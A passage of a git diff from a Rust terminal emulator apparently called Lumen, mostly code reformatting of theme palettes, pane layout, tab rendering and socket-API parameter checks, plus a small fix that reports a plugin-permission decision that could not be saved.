0xb7b5ac, 0xd14d41, + 0x879a39, 0xd0a215, 0x4385be, 0xce5d97, 0x3aa99f, 0xf2f0e5, ]), }, Theme { @@ -424,8 +424,8 @@ pub fn themes() -> Vec { cursor: c(0x93a1a1), selection: with_alpha(c(0x073642), 0.9), ansi: ansi([ - 0x073642, 0xdc322f, 0x859900, 0xb58900, 0x268bd2, 0xd33682, 0x2aa198, 0xeee8d5, - 0x002b36, 0xcb4b16, 0x586e75, 0x657b83, 0x839496, 0x6c71c4, 0x93a1a1, 0xfdf6e3, + 0x073642, 0xdc322f, 0x859900, 0xb58900, 0x268bd2, 0xd33682, 0x2aa198, 0xeee8d5, 0x002b36, 0xcb4b16, + 0x586e75, 0x657b83, 0x839496, 0x6c71c4, 0x93a1a1, 0xfdf6e3, ]), }, Theme { @@ -442,8 +442,8 @@ pub fn themes() -> Vec { cursor: c(0x586e75), selection: with_alpha(c(0xeee8d5), 0.9), ansi: ansi([ - 0x073642, 0xdc322f, 0x859900, 0xb58900, 0x268bd2, 0xd33682, 0x2aa198, 0xeee8d5, - 0x002b36, 0xcb4b16, 0x586e75, 0x657b83, 0x839496, 0x6c71c4, 0x93a1a1, 0xfdf6e3, + 0x073642, 0xdc322f, 0x859900, 0xb58900, 0x268bd2, 0xd33682, 0x2aa198, 0xeee8d5, 0x002b36, 0xcb4b16, + 0x586e75, 0x657b83, 0x839496, 0x6c71c4, 0x93a1a1, 0xfdf6e3, ]), }, Theme { @@ -460,8 +460,8 @@ pub fn themes() -> Vec { cursor: c(0xf8f8f2), selection: with_alpha(c(0x44475a), 0.9), ansi: ansi([ - 0x21222c, 0xff5555, 0x50fa7b, 0xf1fa8c, 0xbd93f9, 0xff79c6, 0x8be9fd, 0xf8f8f2, - 0x6272a4, 0xff6e6e, 0x69ff94, 0xffffa5, 0xd6acff, 0xff92df, 0xa4ffff, 0xffffff, + 0x21222c, 0xff5555, 0x50fa7b, 0xf1fa8c, 0xbd93f9, 0xff79c6, 0x8be9fd, 0xf8f8f2, 0x6272a4, 0xff6e6e, + 0x69ff94, 0xffffa5, 0xd6acff, 0xff92df, 0xa4ffff, 0xffffff, ]), }, Theme { @@ -478,8 +478,8 @@ pub fn themes() -> Vec { cursor: c(0x528bff), selection: with_alpha(c(0x3e4451), 0.9), ansi: ansi([ - 0x282c34, 0xe06c75, 0x98c379, 0xe5c07b, 0x61afef, 0xc678dd, 0x56b6c2, 0xabb2bf, - 0x5c6370, 0xe06c75, 0x98c379, 0xe5c07b, 0x61afef, 0xc678dd, 0x56b6c2, 0xffffff, + 0x282c34, 0xe06c75, 0x98c379, 0xe5c07b, 0x61afef, 0xc678dd, 0x56b6c2, 0xabb2bf, 0x5c6370, 0xe06c75, + 0x98c379, 0xe5c07b, 0x61afef, 0xc678dd, 0x56b6c2, 0xffffff, ]), }, ] @@ -645,4 +645,3 @@ mod tests { assert_eq!(merged.last().unwrap().name.as_ref(), "Aaa", "new ones go after the built-ins"); } } - diff --git a/src/theme_file.rs b/src/theme_file.rs index 0cb93a0..1325faa 100644 --- a/src/theme_file.rs +++ b/src/theme_file.rs @@ -93,7 +93,8 @@ fn parse_ghostty(name: &str, text: &str) -> Result { let bad = || format!("line {}: `{key}` should be a colour like #1e1e2e", n + 1); match key { "palette" => { - let (index, hex) = value.split_once('=').ok_or_else(|| format!("line {}: expected `palette = N=#rrggbb`", n + 1))?; + let (index, hex) = + value.split_once('=').ok_or_else(|| format!("line {}: expected `palette = N=#rrggbb`", n + 1))?; let index: usize = index.trim().parse().map_err(|_| format!("line {}: bad palette number", n + 1))?; if index < 16 { palette[index] = color(hex).ok_or_else(bad)?; @@ -178,7 +179,9 @@ mod tests { for i in 0..16 { text.push_str(&format!("palette = {i}=#{:02x}{:02x}{:02x}\n", i * 10, i * 10, i * 10)); } - text.push_str("background = 1e1e2e\nforeground = #cdd6f4\ncursor-color = #f5e0dc\nselection-background = #585b70\n"); + text.push_str( + "background = 1e1e2e\nforeground = #cdd6f4\ncursor-color = #f5e0dc\nselection-background = #585b70\n", + ); let t = parse("Mocha", &text).unwrap(); assert_eq!(t.pane, c(0x1e1e2e)); assert_eq!(t.text, c(0xcdd6f4)); diff --git a/src/vi.rs b/src/vi.rs index 5b60767..b59ddec 100644 --- a/src/vi.rs +++ b/src/vi.rs @@ -361,7 +361,8 @@ mod tests { let mut t = Term::new(Config::default(), &Size, VoidListener); let mut bytes = Vec::new(); let mut r = Rewriter::new(Arc::new(Mutex::new(Shared::default())), None, None, false); - let marks = |s: &str| s.replace('A', "\x1b]133;A\x07").replace('B', "\x1b]133;B\x07").replace('C', "\x1b]133;C\x07"); + let marks = + |s: &str| s.replace('A', "\x1b]133;A\x07").replace('B', "\x1b]133;B\x07").replace('C', "\x1b]133;C\x07"); r.feed(marks("A$ Bls\r\nCa\r\nb\r\nA$ Becho\r\nCx\r\nA$ B").as_bytes(), &mut bytes); let mut parser: Processor = Processor::new(); parser.advance(&mut t, &bytes); diff --git a/src/workspace.rs b/src/workspace.rs index da1c3fe..bfc20ae 100644 --- a/src/workspace.rs +++ b/src/workspace.rs @@ -4,13 +4,11 @@ use std::rc::Rc; use std::time::Duration; use gpui::{ - AnyElement, AnyView, App, AppContext, Bounds, font, BoxShadow, Context, CursorStyle, Decorations, Hsla, Rgba, - DragMoveEvent, ElementId, Entity, EntityId, Focusable, HitboxBehavior, InteractiveElement, - IntoElement, MouseButton, MouseDownEvent, ParentElement, Pixels, Point, Render, ResizeEdge, - SharedString, Size, StatefulInteractiveElement, StyleRefinement, Styled, Subscription, Task, - Window, - WindowBackgroundAppearance, WindowBounds, canvas, div, - point, prelude::FluentBuilder, px, relative, + AnyElement, AnyView, App, AppContext, Bounds, BoxShadow, Context, CursorStyle, Decorations, DragMoveEvent, + ElementId, Entity, EntityId, Focusable, HitboxBehavior, Hsla, InteractiveElement, IntoElement, MouseButton, + MouseDownEvent, ParentElement, Pixels, Point, Render, ResizeEdge, Rgba, SharedString, Size, + StatefulInteractiveElement, StyleRefinement, Styled, Subscription, Task, Window, WindowBackgroundAppearance, + WindowBounds, canvas, div, font, point, prelude::FluentBuilder, px, relative, }; use serde_json::{Value, json}; @@ -18,13 +16,13 @@ use serde_json::{Value, json}; use crate::api::{self, ApiError, ApiResult}; use crate::keymap; use crate::palette::{CommandPalette, Dot, PaletteEvent, PaletteFn, PaletteItem}; +use crate::pty::{GridSize, Owner}; use crate::session::{self, Axis, NodeState, Session, TabState, WindowState}; use crate::settings::{MONO_FONT, Settings, WorkingDirectory, ui_font}; -use crate::pty::{GridSize, Owner}; -use std::path::PathBuf; use crate::terminal_view::{TerminalEvent, TerminalView}; use crate::theme::{Theme, alpha}; use crate::*; +use std::path::PathBuf; /// Space between the panes and the window's edges. const EDGE: f32 = 8.0; @@ -50,7 +48,11 @@ const MIN_PANE: f32 = 80.0; enum PaneNode { Leaf(Entity), /// `ratios[i]` is child i's share of the space; they need not sum to 1. - Split { axis: Axis, children: Vec, ratios: Vec }, + Split { + axis: Axis, + children: Vec, + ratios: Vec, + }, } /// Drag payload for a split divider: the split (by child-index path from the tab @@ -140,11 +142,8 @@ impl PaneNode { view.kept_in_session().then(|| NodeState::Pane { cwd: view.cwd() }) } PaneNode::Split { axis, children, ratios } => { - let (children, ratios): (Vec<_>, Vec<_>) = children - .iter() - .zip(ratios) - .filter_map(|(c, r)| Some((c.to_state(cx)?, *r))) - .unzip(); + let (children, ratios): (Vec<_>, Vec<_>) = + children.iter().zip(ratios).filter_map(|(c, r)| Some((c.to_state(cx)?, *r))).unzip(); match children.len() { 0 => None, 1 => children.into_iter().next(), @@ -178,9 +177,7 @@ impl PaneNode { let share = ratio / total; let cr = match axis { Axis::Row => Rect { x: r.x + r.w * start, y: r.y, w: r.w * share, h: r.h }, - Axis::Column => { - Rect { x: r.x, y: r.y + r.h * start, w: r.w, h: r.h * share } - } + Axis::Column => Rect { x: r.x, y: r.y + r.h * start, w: r.w, h: r.h * share }, }; child.rects(cr, out); start += share; @@ -196,18 +193,14 @@ impl PaneNode { return false; } let old = PaneNode::Leaf(e.clone()); - *self = PaneNode::Split { - axis, - children: vec![old, PaneNode::Leaf(new.clone())], - ratios: vec![1.0, 1.0], - }; + *self = + PaneNode::Split { axis, children: vec![old, PaneNode::Leaf(new.clone())], ratios: vec![1.0, 1.0] }; true } PaneNode::Split { axis: a, children, ratios } => { if *a == axis - && let Some(i) = children - .iter() - .position(|c| matches!(c, PaneNode::Leaf(e) if e.entity_id() == target)) + && let Some(i) = + children.iter().position(|c| matches!(c, PaneNode::Leaf(e) if e.entity_id() == target)) { // The new pane takes half of the pane it was split from. let half = ratios[i] / 2.0; @@ -239,19 +232,17 @@ impl PaneNode { /// Remove a leaf. Returns true if found. Collapses single-child splits. fn remove(&mut self, target: EntityId) -> bool { let PaneNode::Split { children, ratios, .. } = self else { return false }; - let found = if let Some(i) = children - .iter() - .position(|c| matches!(c, PaneNode::Leaf(e) if e.entity_id() == target)) - { - children.remove(i); - // Hand the freed space to the neighbour that grows into it. - let freed = ratios.remove(i); - let neighbour = i.saturating_sub(1).min(ratios.len() - 1); - ratios[neighbour] += freed; - true - } else { - children.iter_mut().any(|c| c.remove(target)) - }; + let found = + if let Some(i) = children.iter().position(|c| matches!(c, PaneNode::Leaf(e) if e.entity_id() == target)) { + children.remove(i); + // Hand the freed space to the neighbour that grows into it. + let freed = ratios.remove(i); + let neighbour = i.saturating_sub(1).min(ratios.len() - 1); + ratios[neighbour] += freed; + true + } else { + children.iter_mut().any(|c| c.remove(target)) + }; if found && children.len() == 1 { *self = children.pop().unwrap(); } @@ -327,9 +318,9 @@ impl TabColor { let byte = |i: usize| u8::from_str_radix(&h[i..i + 2], 16).unwrap_or(0); Ok(TabColor::Rgb(byte(0), byte(2), byte(4))) } - None => Err(format!( - "`color` should be red, green, yellow, blue, magenta, cyan or #rrggbb, not \"{text}\"" - )), + None => { + Err(format!("`color` should be red, green, yellow, blue, magenta, cyan or #rrggbb, not \"{text}\"")) + } } } @@ -344,7 +335,9 @@ impl TabColor { pub fn resolve(self, theme: &Theme) -> Hsla { match self { TabColor::Ansi(i) => theme.ansi[i as usize], - TabColor::Rgb(r, g, b) => Rgba { r: r as f32 / 255.0, g: g as f32 / 255.0, b: b as f32 / 255.0, a: 1.0 }.into(), + TabColor::Rgb(r, g, b) => { + Rgba { r: r as f32 / 255.0, g: g as f32 / 255.0, b: b as f32 / 255.0, a: 1.0 }.into() + } } } } @@ -376,10 +369,7 @@ fn fit_badge( return fits(short).then(|| short.to_string()); } let chars: Vec = badge.chars().collect(); - (2..chars.len()) - .rev() - .map(|n| chars[..n].iter().chain(['…'].iter()).collect::()) - .find(|cut| fits(cut)) + (2..chars.len()).rev().map(|n| chars[..n].iter().chain(['…'].iter()).collect::()).find(|cut| fits(cut)) } /// `a` with `t` of `b` mixed in. @@ -436,8 +426,10 @@ impl Workspace { /// The quick terminal's workspace: one fresh tab. pub fn new_quick(window: &mut Window, cx: &mut Context) -> Self { let this = Self::with(None, true, window, cx); - cx.observe_window_activation(window, |_, window, cx| crate::quick::activation_changed(window.is_window_active(), cx)) - .detach(); + cx.observe_window_activation(window, |_, window, cx| { + crate::quick::activation_changed(window.is_window_active(), cx) + }) + .detach(); this } @@ -552,21 +544,13 @@ impl Workspace { }; let prev = self.window_state; let (x, y, width, height) = match (bounds, prev) { - (Some(b), _) => ( - f32::from(b.origin.x), - f32::from(b.origin.y), - f32::from(b.size.width), - f32::from(b.size.height), - ), + (Some(b), _) => { + (f32::from(b.origin.x), f32::from(b.origin.y), f32::from(b.size.width), f32::from(b.size.height)) + } (None, Some(p)) => (p.x, p.y, p.width, p.height), (None, None) => { let b = window.inner_window_bounds().get_bounds(); - ( - f32::from(b.origin.x), - f32::from(b.origin.y), - f32::from(b.size.width), - f32::from(b.size.height), - ) + (f32::from(b.origin.x), f32::from(b.origin.y), f32::from(b.size.width), f32::from(b.size.height)) } }; self.window_state = Some(WindowState { x, y, width, height, maximized, fullscreen }); @@ -607,31 +591,21 @@ impl Workspace { session::record(self.window_id, self.snapshot(cx)); } - fn spawn_terminal( - &mut self, - what: NewPane, - window: &mut Window, - cx: &mut Context, - ) -> Entity { + fn spawn_terminal(&mut self, what: NewPane, window: &mut Window, cx: &mut Context) -> Entity { let (cwd, owner, program) = what.into_parts(); let term = TerminalView::open(cwd, owner, program, window, cx); api::emit("pane-opened", json!({ "pane": term.entity_id().as_u64() })); let sub = cx.subscribe_in(&term, window, |this, term, event, window, cx| match event { TerminalEvent::Attention => cx.notify(), TerminalEvent::TitleChanged => { - api::emit( - "title-changed", - json!({ "pane": term.entity_id().as_u64(), "title": term.read(cx).title }), - ); + api::emit("title-changed", json!({ "pane": term.entity_id().as_u64(), "title": term.read(cx).title })); cx.notify() } TerminalEvent::Focused => { api::emit("focus-changed", json!({ "pane": term.entity_id().as_u64() })); // Only track the active pane within its own tab; switching tabs is // driven explicitly so a late focus event can't snap back. - if let Some(tab) = - this.tabs.iter_mut().find(|t| t.leaves().iter().any(|l| l == term)) - { + if let Some(tab) = this.tabs.iter_mut().find(|t| t.leaves().iter().any(|l| l == term)) { tab.active = term.clone(); } cx.notify(); @@ -680,12 +654,7 @@ impl Workspace { } /// Open a tab after the current one and switch to it. - fn open_tab( - &mut self, - what: NewPane, - window: &mut Window, - cx: &mut Context, - ) -> Entity { + fn open_tab(&mut self, what: NewPane, window: &mut Window, cx: &mut Context) -> Entity { let term = self.spawn_terminal(what, window, cx); let insert_at = if self.tabs.is_empty() { 0 } else { self.active_tab + 1 }; self.tabs.insert( @@ -754,9 +723,7 @@ impl Workspace { } fn close_pane_entity(&mut self, id: EntityId, window: &mut Window, cx: &mut Context) { - let Some(tab_idx) = - self.tabs.iter().position(|t| t.leaves().iter().any(|l| l.entity_id() == id)) - else { + let Some(tab_idx) = self.tabs.iter().position(|t| t.leaves().iter().any(|l| l.entity_id() == id)) else { return; }; api::emit("pane-closed", json!({ "pane": id.as_u64() })); @@ -1130,7 +1097,15 @@ impl Workspace { let ws = cx.entity().downgrade(); let choice = |allow: bool, m: crate::plugins::Manifest, ws: gpui::WeakEntity| -> PaletteFn { Rc::new(move |window, cx| { - crate::plugins::record_decision(&m, allow); + if let Err(e) = crate::plugins::record_decision(&m, allow) { + // It still takes effect now; it just isn't remembered. + let problem = + format!("couldn't keep your answer about \"{}\", so Lumen will ask again: {e}", m.name); + let _ = ws.update(cx, |ws, cx| { + ws.plugin_problems.push(problem); + cx.notify(); + }); + } let (settings, _) = plugin_settings_for(&m, cx); if allow { crate::plugins::start(m.clone(), settings); @@ -1289,13 +1264,7 @@ impl Workspace { /// Move divider `drag.index` so it sits under the mouse. `bounds` are the /// split container's bounds. - fn drag_divider( - &mut self, - drag: &SplitDrag, - mouse: Point, - bounds: Bounds, - cx: &mut Context, - ) { + fn drag_divider(&mut self, drag: &SplitDrag, mouse: Point, bounds: Bounds, cx: &mut Context) { if drag.tab != self.active_tab { return; } @@ -1348,7 +1317,14 @@ impl Workspace { let mut items = Vec::with_capacity(children.len() * 2); for (i, (child, ratio)) in children.iter().zip(ratios).enumerate() { if i > 0 { - items.push(self.render_divider(row, path.clone(), i - 1, theme, Settings::get(cx).pane_gap, cx)); + items.push(self.render_divider( + row, + path.clone(), + i - 1, + theme, + Settings::get(cx).pane_gap, + cx, + )); } let mut child_path = path.clone(); child_path.push(i); @@ -1368,14 +1344,12 @@ impl Workspace { .size_full() .when(row, |d| d.flex_row()) .when(!row, |d| d.flex_col()) - .on_drag_move(cx.listener( - move |this, e: &DragMoveEvent, _window, cx| { - let drag = e.drag(cx).clone(); - if drag.path == path { - this.drag_divider(&drag, e.event.position, e.bounds, cx); - } - }, - )) + .on_drag_move(cx.listener(move |this, e: &DragMoveEvent, _window, cx| { + let drag = e.drag(cx).clone(); + if drag.path == path { + this.drag_divider(&drag, e.event.position, e.bounds, cx); + } + })) .children(items) .into_any_element() } @@ -1487,8 +1461,7 @@ impl Workspace { }; let tabs = self.tabs.iter().enumerate().map(|(i, tab)| { let active = i == self.active_tab; - let title: SharedString = - tab.title.clone().unwrap_or_else(|| tab.active.read(cx).title.clone()).into(); + let title: SharedString = tab.title.clone().unwrap_or_else(|| tab.active.read(cx).title.clone()).into(); let panes = tab.leaves().len(); let show_close = active || !compact; let width = share + if active { active_extra } else { 0.0 }; @@ -1516,7 +1489,9 @@ impl Workspace { // ellipsis, or left out. let title_room = measure(&title, ui_font(), 12.5).min(MIN_TITLE_WIDTH); let badge = tab.badge.as_deref().and_then(|b| { - fit_badge(b, tab.short_badge.as_deref(), width - fixed, title_room, |t| measure(t, MONO_FONT.into(), 10.5)) + fit_badge(b, tab.short_badge.as_deref(), width - fixed, title_room, |t| { + measure(t, MONO_FONT.into(), 10.5) + }) }); let fixed = fixed + badge.as_ref().map_or(0.0, |b| BADGE_CHROME + measure(b, MONO_FONT.into(), 10.5)); // The pane count goes before the badge does: a badge was put @@ -1557,12 +1532,18 @@ impl Workspace { None => d.hover(|d| d.bg(alpha(theme.raised, 0.55))), }) .on_drag( - TabDrag { index: i, title: title.clone(), colors: (theme.raised, theme.text, alpha(theme.accent, 0.5)) }, + TabDrag { + index: i, + title: title.clone(), + colors: (theme.raised, theme.text, alpha(theme.accent, 0.5)), + }, |drag, _, _, cx| cx.new(|_| TabGhost(drag.clone())), ) - .drag_over::(move |style, drag, _, _| { - if drag.index == i { style } else { style.bg(alpha(accent, 0.22)) } - }) + .drag_over::( + move |style, drag, _, _| { + if drag.index == i { style } else { style.bg(alpha(accent, 0.22)) } + }, + ) .on_drop(cx.listener(move |this, drag: &TabDrag, window, cx| { this.move_tab(drag.index, i, window, cx); })) @@ -1642,33 +1623,34 @@ impl Workspace { .child(pane_count), ) }) - .when(show_close, |d| d.child( - div() - .id(("tab-close", i)) - .flex() - .flex_none() - .items_center() - .justify_center() - .size(px(18.0)) - .rounded(px(5.0)) - .text_size(px(13.0)) - .text_color(theme.muted) - .opacity(if active { 0.8 } else { 0.0 }) - .group_hover("tab", |s| s.opacity(0.8)) - .hover(|s| s.bg(alpha(theme.muted, 0.2)).text_color(theme.text)) - .on_mouse_down( - MouseButton::Left, - cx.listener(move |this, _, window, cx| { - cx.stop_propagation(); - let ids: Vec<_> = - this.tabs[i].leaves().iter().map(|l| l.entity_id()).collect(); - for id in ids { - this.close_pane_entity(id, window, cx); - } - }), - ) - .child(div().relative().top(px(-1.0)).child("×")), - )) + .when(show_close, |d| { + d.child( + div() + .id(("tab-close", i)) + .flex() + .flex_none() + .items_center() + .justify_center() + .size(px(18.0)) + .rounded(px(5.0)) + .text_size(px(13.0)) + .text_color(theme.muted) + .opacity(if active { 0.8 } else { 0.0 }) + .group_hover("tab", |s| s.opacity(0.8)) + .hover(|s| s.bg(alpha(theme.muted, 0.2)).text_color(theme.text)) + .on_mouse_down( + MouseButton::Left, + cx.listener(move |this, _, window, cx| { + cx.stop_propagation(); + let ids: Vec<_> = this.tabs[i].leaves().iter().map(|l| l.entity_id()).collect(); + for id in ids { + this.close_pane_entity(id, window, cx); + } + }), + ) + .child(div().relative().top(px(-1.0)).child("×")), + ) + }) }); let new_tab = div() @@ -1692,7 +1674,6 @@ impl Workspace { ) .child(div().relative().top(px(-1.0)).child("+")); - div() .id("titlebar") .flex() @@ -1745,47 +1726,38 @@ fn problem_banner(problems: &[String], plugin_problems: &[String], theme: &Theme let path = settings::config_path() .map(|p| p.display().to_string().replace(&std::env::var("HOME").unwrap_or_default(), "~")) .unwrap_or_else(|| "config.toml".into()); - div() - .absolute() - .bottom(px(EDGE * 2.0)) - .left_0() - .right_0() - .flex() - .justify_center() - .child( - div() - .max_w(px(720.0)) - .flex() - .flex_col() - .gap(px(2.0)) - .px(px(14.0)) - .py(px(9.0)) - .rounded(px(10.0)) - .bg(theme.raised) - .border_1() - .border_color(alpha(theme.ansi[1], 0.5)) - .font_family(ui_font()) - .text_size(px(12.5)) - .text_color(theme.text) - .shadow(vec![BoxShadow { - color: alpha(gpui::black(), 0.35), - offset: point(px(0.0), px(6.0)), - blur_radius: px(18.0), - spread_radius: px(0.0), - }]) - .when(!problems.is_empty(), |d| { - d.child( - div() - .text_color(theme.ansi[1]) - .child(format!("Problem in {path} (other settings still apply)")), - ) - .children(problems.iter().take(4).map(|p| div().text_color(theme.subtext).child(p.clone()))) - }) - .when(!plugin_problems.is_empty(), |d| { - d.child(div().text_color(theme.ansi[1]).child("Plugins that couldn't be loaded")) - .children(plugin_problems.iter().take(4).map(|p| div().text_color(theme.subtext).child(p.clone()))) - }), - ) + div().absolute().bottom(px(EDGE * 2.0)).left_0().right_0().flex().justify_center().child( + div() + .max_w(px(720.0)) + .flex() + .flex_col() + .gap(px(2.0)) + .px(px(14.0)) + .py(px(9.0)) + .rounded(px(10.0)) + .bg(theme.raised) + .border_1() + .border_color(alpha(theme.ansi[1], 0.5)) + .font_family(ui_font()) + .text_size(px(12.5)) + .text_color(theme.text) + .shadow(vec![BoxShadow { + color: alpha(gpui::black(), 0.35), + offset: point(px(0.0), px(6.0)), + blur_radius: px(18.0), + spread_radius: px(0.0), + }]) + .when(!problems.is_empty(), |d| { + d.child( + div().text_color(theme.ansi[1]).child(format!("Problem in {path} (other settings still apply)")), + ) + .children(problems.iter().take(4).map(|p| div().text_color(theme.subtext).child(p.clone()))) + }) + .when(!plugin_problems.is_empty(), |d| { + d.child(div().text_color(theme.ansi[1]).child("Plugins that couldn't be loaded")) + .children(plugin_problems.iter().take(4).map(|p| div().text_color(theme.subtext).child(p.clone()))) + }), + ) } /// `title` shortened with an ellipsis to fit `width` in the tab font. (GPUI's @@ -2011,22 +1983,13 @@ fn pane_frame( .child(div().min_w_0().truncate().child(label)), ) }) - .child( - div().flex_1().min_h_0().w_full().p(px(padding)).child( - // Reuse the pane's last frame unless it changed, so output in one - // pane (or hovering a tab) doesn't redraw every other pane. - AnyView::from(term.clone()).cached(StyleRefinement::default().size_full()), - ), - ) + .child(div().flex_1().min_h_0().w_full().p(px(padding)).child( + // Reuse the pane's last frame unless it changed, so output in one + // pane (or hovering a tab) doesn't redraw every other pane. + AnyView::from(term.clone()).cached(StyleRefinement::default().size_full()), + )) .when(multi && !focused && dim > 0.0, |d| { - d.child( - div() - .absolute() - .top_0() - .left_0() - .size_full() - .bg(alpha(theme.shell, dim)), - ) + d.child(div().absolute().top_0().left_0().size_full().bg(alpha(theme.shell, dim))) }) .into_any_element() } @@ -2112,13 +2075,7 @@ fn plugin_dot(status: &str) -> Dot { fn shortcut_label(action: &dyn gpui::Action, window: &Window) -> SharedString { window .highest_precedence_binding_for_action(action) - .map(|b| { - b.keystrokes() - .iter() - .map(|k| pretty_keystroke(&k.to_string())) - .collect::>() - .join(" ") - }) + .map(|b| b.keystrokes().iter().map(|k| pretty_keystroke(&k.to_string())).collect::>().join(" ")) .unwrap_or_default() .into() } @@ -2150,9 +2107,10 @@ impl Workspace { // ---- socket API ----------------------------------------------------- fn find_pane(&self, id: u64) -> Option<(usize, Entity)> { - self.tabs.iter().enumerate().find_map(|(i, t)| { - t.leaves().into_iter().find(|l| l.entity_id().as_u64() == id).map(|l| (i, l)) - }) + self.tabs + .iter() + .enumerate() + .find_map(|(i, t)| t.leaves().into_iter().find(|l| l.entity_id().as_u64() == id).map(|l| (i, l))) } /// The pane named by `params.pane`, or the focused one. @@ -2164,8 +2122,7 @@ impl Workspace { .ok_or_else(|| ApiError::failed("there are no panes")), Some(v) => { let id = v.as_u64().ok_or_else(|| ApiError::invalid_params("`pane` should be a pane id"))?; - self.find_pane(id) - .ok_or_else(|| ApiError::failed(format!("no pane {id}; `lumen msg list` shows them"))) + self.find_pane(id).ok_or_else(|| ApiError::failed(format!("no pane {id}; `lumen msg list` shows them"))) } } } @@ -2237,13 +2194,18 @@ impl Workspace { Some(_) => Err(ApiError::invalid_params(format!("`{name}` should be a string"))), } }; - let required = |name: &str| string(name)?.ok_or_else(|| ApiError::invalid_params(format!("`{name}` is required"))); + let required = + |name: &str| string(name)?.ok_or_else(|| ApiError::invalid_params(format!("`{name}` is required"))); let cwd = || -> Result, ApiError> { match string("cwd")? { None => Ok(None), Some(dir) => { let path = std::path::PathBuf::from(&dir); - if path.is_dir() { Ok(Some(path)) } else { Err(ApiError::failed(format!("{dir} isn't a directory"))) } + if path.is_dir() { + Ok(Some(path)) + } else { + Err(ApiError::failed(format!("{dir} isn't a directory"))) + } } } }; @@ -2252,10 +2214,15 @@ impl Workspace { match params.get("plugin_pane") { None | Some(Value::Null) | Some(Value::Bool(false)) => Ok(None), Some(Value::Bool(true)) => { - if params.get("run").is_some_and(|r| !r.is_null()) || params.get("cwd").is_some_and(|c| !c.is_null()) { - return Err(ApiError::invalid_params("a plugin pane runs no program, so takes no `run` or `cwd`")); + if params.get("run").is_some_and(|r| !r.is_null()) + || params.get("cwd").is_some_and(|c| !c.is_null()) + { + return Err(ApiError::invalid_params( + "a plugin pane runs no program, so takes no `run` or `cwd`", + )); } - let origin = origin.ok_or_else(|| ApiError::failed("plugin panes need a connection to draw them"))?; + let origin = + origin.ok_or_else(|| ApiError::failed("plugin panes need a connection to draw them"))?; let name = match caller { api::Caller::Plugin { name, .. } => name.clone(), api::Caller::Socket => "script".into(), @@ -2305,7 +2272,9 @@ impl Workspace { }; let focus = match params.get("focus") { None | Some(Value::Null) => true, - Some(v) => v.as_bool().ok_or_else(|| ApiError::invalid_params("`focus` should be true or false"))?, + Some(v) => { + v.as_bool().ok_or_else(|| ApiError::invalid_params("`focus` should be true or false"))? + } }; // The new pane's share of the space: a fraction, or a number // of rows (down) or columns (right) of the pane split. @@ -2313,7 +2282,9 @@ impl Workspace { None | Some(Value::Null) => None, Some(v) => { let n = v.as_f64().filter(|n| *n > 0.0).ok_or_else(|| { - ApiError::invalid_params("`size` should be a fraction (like 0.3) or a number of rows or columns") + ApiError::invalid_params( + "`size` should be a fraction (like 0.3) or a number of rows or columns", + ) })?; Some(n) } @@ -2465,7 +2436,9 @@ impl Workspace { let text = required("text")?; let (_, pane) = self.target_pane(params)?; match pane.read(cx).owner_conn() { - None => Err(ApiError::failed("that pane runs a program; `write` is for plugin panes (`send-text` types into it)")), + None => Err(ApiError::failed( + "that pane runs a program; `write` is for plugin panes (`send-text` types into it)", + )), Some(conn) if Some(conn) != origin.map(|o| o.conn) => { Err(ApiError::failed("that plugin pane belongs to another connection")) } @@ -2584,9 +2557,12 @@ fn palette_items(window: &Window, tab_color: Option, cx: &App) -> Vec< if let Some(path) = settings::config_path() { let shown = path.display().to_string().replace(&std::env::var("HOME").unwrap_or_default(), "~"); items.push( - PaletteItem::new("Open Config File", Rc::new(move |_, cx| cx.open_url(&format!("file://{}", path.display())))) - .note(shown) - .section(LUMEN), + PaletteItem::new( + "Open Config File", + Rc::new(move |_, cx| cx.open_url(&format!("file://{}", path.display()))), + ) + .note(shown) + .section(LUMEN), ); } // Plugin commands, then a way to allow each plugin waiting for it. @@ -2689,7 +2665,10 @@ fn palette_items(window: &Window, tab_color: Option, cx: &App) -> Vec< }), ) .note(match tab_color { - Some(c) => TAB_COLOR_CHOICES.iter().find(|(_, o)| *o == Some(c)).map_or_else(|| c.name(), |(l, _)| l.to_string()), + Some(c) => TAB_COLOR_CHOICES + .iter() + .find(|(_, o)| *o == Some(c)) + .map_or_else(|| c.name(), |(l, _)| l.to_string()), None => String::new(), }) .section(LUMEN), @@ -2721,15 +2700,17 @@ fn shown_tab_color(own: Option, set: Option) -> Option Vec { +fn theme_picker_items( + names: &[SharedString], + current: usize, + original: crate::settings::ThemeChoice, +) -> Vec { names .iter() .enumerate() .map(|(i, name)| { - let item = PaletteItem::new( - name.clone(), - Rc::new(move |_, cx| Settings::finish_preview(cx, original, Some(i))), - ); + let item = + PaletteItem::new(name.clone(), Rc::new(move |_, cx| Settings::finish_preview(cx, original, Some(i)))); if i == current { item.note("current") } else { item } }) .collect() @@ -2740,13 +2721,37 @@ fn resize_edge(pos: Point, inset: Pixels, size: Size) -> Option< let (l, r) = (pos.x < corner, pos.x > size.width - corner); let (t, b) = (pos.y < corner, pos.y > size.height - corner); let edge = if pos.y < inset { - if l { ResizeEdge::TopLeft } else if r { ResizeEdge::TopRight } else { ResizeEdge::Top } + if l { + ResizeEdge::TopLeft + } else if r { + ResizeEdge::TopRight + } else { + ResizeEdge::Top + } } else if pos.y > size.height - inset { - if l { ResizeEdge::BottomLeft } else if r { ResizeEdge::BottomRight } else { ResizeEdge::Bottom } + if l { + ResizeEdge::BottomLeft + } else if r { + ResizeEdge::BottomRight + } else { + ResizeEdge::Bottom + } } else if pos.x < inset { - if t { ResizeEdge::TopLeft } else if b { ResizeEdge::BottomLeft } else { ResizeEdge::Left } + if t { + ResizeEdge::TopLeft + } else if b { + ResizeEdge::BottomLeft + } else { + ResizeEdge::Left + } } else if pos.x > size.width - inset { - if t { ResizeEdge::TopRight } else if b { ResizeEdge::BottomRight } else { ResizeEdge::Right } + if t { + ResizeEdge::TopRight + } else if b { + ResizeEdge::BottomRight + } else { + ResizeEdge::Right + } } else { return None; }; @@ -2819,16 +2824,17 @@ impl Render for Workspace { .cursor(CursorStyle::Arrow) .on_mouse_move(|_, _, cx| cx.stop_propagation()) .when_some(tiling, |d, tiling| { - d.border_1() - .border_color(alpha(theme.text, if theme.is_light { 0.12 } else { 0.07 })) - .when(!tiling.is_tiled(), |d| { + d.border_1().border_color(alpha(theme.text, if theme.is_light { 0.12 } else { 0.07 })).when( + !tiling.is_tiled(), + |d| { d.rounded(px(WINDOW_RADIUS)).shadow(vec![BoxShadow { color: alpha(gpui::black(), 0.45), offset: point(px(0.0), px(2.0)), blur_radius: inset / 1.5, spread_radius: px(0.0), }]) - }) + }, + ) }) 